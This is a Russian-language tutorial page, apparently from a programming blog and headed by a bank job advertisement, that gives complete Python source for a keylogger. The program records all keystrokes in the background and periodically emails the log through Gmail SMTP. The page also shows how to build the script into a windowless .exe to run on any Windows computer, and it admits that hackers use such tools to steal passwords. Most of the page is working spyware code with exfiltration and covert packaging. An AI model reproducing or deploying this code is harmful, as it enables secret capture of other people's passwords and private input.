Работа мечты в один клик 💼

💭Мечтаешь работать в Сбере, но не хочешь проходить десять кругов HR-собеседований? Теперь это проще, чем когда-либо!
💡AI-интервью за 15 минут – и ты уже на шаг ближе к своей новой работе.
Как получить оффер? 📌 Зарегистрируйся 📌 Пройди AI-интервью 📌 Получи обратную связь сразу же!
HR больше не тянут время – рекрутеры свяжутся с тобой в течение двух дней! 🚀
Реклама. ПАО СБЕРБАНК, ИНН 7707083893. Erid 2VtzquscAwp
Что такое кейлоггер и зачем он нужен
Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.
Подготовка: устанавливаем Python и библиотеки
Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.
Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.
Ставим библиотеку простой командой в терминале:
pip3 install keyboard
Пишем кейлоггер
Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.
Импорт библиотек
Начнем с импорта необходимых библиотек:
import keyboard
import smtplib #для отправки электронной почты по протоколу SMTP (gmail)
#Таймер для запуска через заданный «интервал» времени.
from threading import Timer
from datetime import datetime
Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:
- разрешен доступ для небезопасных приложений;
- отключена двухэтапная аутентификация.
Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.
Инициализируем параметры
SEND_REPORT_EVERY = 60 #время в секундах
EMAIL_ADDRESS = "notmygmail@gmail.com"
EMAIL_PASSWORD = "notmypassword"
Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.
Создаем класс и методы
Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:
class Keylogger:
def __init__(self, interval, report_method="email"):
# передаем SEND_REPORT_EVERY в интервал
self.interval = interval
self.report_method = report_method
# это строковая переменная, которая содержит лог
self.log = ""
#запись начала и окончания даты и времени
self.start_dt = datetime.now()
self.end_dt = datetime.now()
Мы установили в качестве метода отправки по умолчанию значение email
, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.
Используем функцию клавиатуры on_release()
, которая принимает обратный вызов.
def callback(self, event):
name = event.name
if len(name) > 1:
#не символ, специальная клавиша (например, ctrl, alt и т. д.)
#верхний регистр
if name == "space":
#" " вместо пробелов
name = " "
elif name == "enter":
#добавлять новую строку всякий раз, когда нажимается ENTER
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
#замените пробелы символами подчеркивания
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
#добавить имя ключа в глобальную переменную
self.log += name
Пишем метод для записи в локальный файл
def update_filename(self):
#создать имя файла, которое будет идентифицировано по дате начала и окончания записи
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
# создать файл
with open(f"{self.filename}.txt", "w") as f:
# записать лог
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
Отправка на email
def sendmail(self, email, password, message):
# управляет подключением к SMTP-серверу
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# подключиться к SMTP-серверу в режиме TLS
server.starttls()
# логин
server.login(email, password)
# отправить сообщение
server.sendmail(email, email, message)
# завершает сеанс
server.quit()
Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character
, откройте библиотеку smtplib.py
по адресу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\
, найдите строку msg = _fix_eols(msg).encode('ascii')
и замените ее на msg = _fix_eols(msg).encode('utf8')
. Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.
Сообщаем лог через заданные промежутки времени
def report(self):
if self.log:
self.end_dt = datetime.now()
# обновить `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
# старт
timer.start()
Давайте определим метод on_release()
:
def start(self):
#записать дату и время начала
self.start_dt = datetime.now()
#запустить кейлогер
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()
Мы закончили с классом Keylogger
, теперь нужно создать экземпляр этого класса:
if __name__ == "__main__":
# для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
# для записи в локальный файл оставляем как есть
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Использование
Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:
pip3 install pyinstaller
И собираем все в файл:
pyinstaller --onefile -w 'keylogger.py'
На выходе получаем файл с расширением .exe
, который можно использовать на любом компьютере под управлением Windows.
Комментарии